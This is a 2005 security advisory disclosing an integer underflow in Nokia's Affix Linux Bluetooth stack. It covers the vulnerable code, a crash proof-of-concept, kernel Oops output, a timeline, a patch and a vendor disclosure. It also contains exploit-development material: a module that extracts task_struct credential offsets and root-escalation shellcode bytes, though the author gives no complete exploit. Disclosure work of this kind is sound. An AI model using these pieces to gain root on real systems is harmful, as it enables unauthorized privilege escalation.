DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow' Author: Kevin Finisterre Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net Product: 'affix-kernel' References: http://www.digitalmunition.com/DMA[2005-0423a].txt Description: Nokia believes that effective research and development is vital to remaining competitive in the mobile communications industry. As of December 31, 2004, they employed 20,722 people in research and development centers in 12 countries. Nokia invests a substantial portion of its resources in research and development activities within its principal business groups as well as in the Nokia Research Center. The Nokia Research Center acts as a link between basic industry research and product development. It responsible for the product development needs of Nokia's business groups, as well as for carrying out Nokia's longer-term research. In case you were currious the NRC looks pretty plushed out too! http://www.tsi.fi/nrc1_e.html, http://www.tsi.fi/nrc2_e.html Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia Research Center in Helsinki and released under GPL. Affix supports the core Bluetooth protocols like HCI, L2CAP 1.1, L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of 'affix-kernel' which provides kernel modules and 'affix' which provides control tools, libraries, and server daemons. Although Nokia believes that Affix is an useful piece of software, please bear in mind that it is not an official Nokia product, but a result of the research activity of Nokia Research Center. The following code was found in modules/btcore/hci.c from Affix. struct net_proto_family *btprotos[BTPROTO_MAX]; int affix_sock_register(struct net_proto_family *pf, int protocol) { if (protocol >= BTPROTO_MAX) return -EINVAL; if (btprotos[protocol]) return -EEXIST; btprotos[protocol] = pf; return 0; } As you can see from this snippet, if a negative value is passed to the protocol variable the bounds checking for this function will be bypassed. Shortly after the bounds check the value of the protocol variable is used as an index to an array. This vulnerability is very similar to the issue found by Ilja van Sprundel in the kernel-bluez package so it is likely that this bug will result in a local root compromise. The following proof of concept code is enough to demonstrate the vulnerability. /* Nokia Affix Bluetooth Signed Buffer Index PoC - kf_lists[at]digitalmunition[dot]com */ #include #include #include #include main() { int ctl; if ((ctl = socket(PF_AFFIX, SOCK_RAW, -31337)) < 0) { perror("Something went wrong?"); exit(1); } } kfinisterre@jdam:/tmp/affix-2.1.1$ cc -o bug bug.c kfinisterre@jdam:/tmp/affix-2.1.1$ ./bug Segmentation fault Upon running the above code your kernel should 'Oops' as shown below: Code: Bad EIP value. invalid operand: 0000 CPU: 0 EIP: 0010:[] Not tainted EFLAGS: 00210282 eax: c83ea8e0 ebx: ffffad97 ecx: c83ea8e0 edx: c6000001 esi: 0000001b edi: 00000003 ebp: c452df14 esp: c452c97c ds: 0018 es: 0018 ss: 0018 Process bug (pid: 3329, stackpage=c452d000) Stack: 203a726f 65756c62 0a7d0a3b 2031680a 20200a7b 70736964 3a79616c 6f6c6220 0a3b6b63 6f662020 732d746e 3a657a69 6d653220 20200a3b 746e6f66 6965772d 3a746867 6c6f6220 200a3b64 72616d20 3a6e6967 37362e20 30206d65 0a7d0a3b Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] qobaiashi was able to create a working exploit for the condition in kernel-bluez, so as mentioned above it is likely that this bug will yeild local root. I attempted to modify http://home.paf.net/qobaiashi/ong_bak.c in an effort to exploit this issue but I did not have much luck. The kernel is obviously(!) not yet my playground. I have however included a few notes below that may help in developing an exploit for this condition. One problem I ran into when trying to modify ong_bak.c was that qobaiashi and I were not trying to exploit the same kernel version. I would need to modify his shellcode before anything would work. Since I don't really have the slightest clue about kernel exploitation I had to bug both qobaiashi as well as some folks on a private mailing list for some help on fixing the shellcode. Philippe Biondi explained to me that qobaiashi's shellcode is 'quite simple', -q's shellcode first finds the task_struct of the current process, next it finds the task_struct of the father process and finally it overwrites the uid, euid, suid and fsuid of these processes with 0x00. This will effectively give both our exploit and our current shell root. I was told that in order for the shellcode that qobaiashi wrote to work I would need to calculate the offsets needed for my kernel version. defines task_struct so we can just write a simple program to extract the offsets. /* * gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ get_offsets.c */ #define __KERNEL__ #define MODULE #include #include #include struct task_struct tsk; int init_module() { printk("task_struct offsets:\n"); printk("tsk %p\n", &tsk); printk("tsk father %p\n", &tsk.p_pptr); printk("uid %p\n", &tsk.uid); printk("euid %p\n", &tsk.euid); printk("suid %p\n", &tsk.suid); printk("fsuid %p\n", &tsk.fsuid); return 0; } void cleanup_module() { printk("Later bitches!\n"); } Just compile the above code and insmod it into the kernel. jdam:/home/kfinisterre# gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ get_offsets.c jdam:/home/kfinisterre# insmod ./get_offsets.o Warning: loading ./get_offsets.o will taint the kernel: no license See http://www.tux.org/lkml/#export-tainted for information about tainted modules Module get_offsets loaded, with warnings jdam:/home/kfinisterre# rmmod get_offsets jdam:/home/kfinisterre# dmesg | tail -n 7 tsk d7931240 tsk father d79312d8 = 0x98 uid d793136c = 0x12c euid d7931370 = 0x130 suid d7931374 = 0x134 fsuid d7931378 = 0x138 Later Bitches! The offsets 0x98 0x12c 0x130 0x134 and 0x138 can be plugged into -q's shellcode as follows. //leave the next line out if only your exploit should become root "\x8b\x80\x98\x00\x00\x00"// mov 0x98(%eax),%eax eax=ptr-to->parents->task_struct "\x89\xb0\x2c\x01\x00\x00"// mov %esi,0x12c(%eax) "\x89\xb0\x30\x01\x00\x00"// mov %esi,0x130(%eax) "\x89\xb0\x34\x01\x00\x00"// mov %esi,0x134(%eax) "\x89\xb0\x38\x01\x00\x00"// mov %esi,0x138(%eax) Several folks suggested that I look into http://oss.sgi.com/projects/kgdb/ in order to work on debugging and exploiting this issue. Unfortunately since I am too lazy to continue trying to figure out how to get kgdb working there will be no exploit provided with this advisory. Hopefully these notes are of some use... enjoy. Workaround: In bluez the issue was fixed via the following snippet. - if (proto >= BLUEZ_MAX_PROTO) + if (proto < 0 || proto >= BLUEZ_MAX_PROTO) I guess for Affix this should work... - if (protocol >= BTPROTO_MAX) + if (protocol < 0 || protocol >= BTPROTO_MAX) Official patches for Affix can be found at http://affix.sourceforge.net (on monday 04/25/2005) This is basic timeline associated with this bug. 03/27/2005 suresec.org releases bluez_sock_create() integer underflow 04/09/2005 str0ke dropped ong_bak on milw0rm - http://milw0rm.com/id.php?id=9260 04/16/2005 Mail to dmitry.kasatkin and charlos.chinea of Nokia to report the problem 04/18/2005 Carlos.Chinea stated that the bug will be 'fixed in the next release' 04/22/2005 Carlos.Chinea stated that he will pusblish the update on Monday, at latest Both BlueZ and Affix appear to borrow code from each other so perhaps the moral of this story is be careful where you borrow code from. Thanks to Philippe Biondi, mcb and qobaiashi for answering my dumb questions! -KF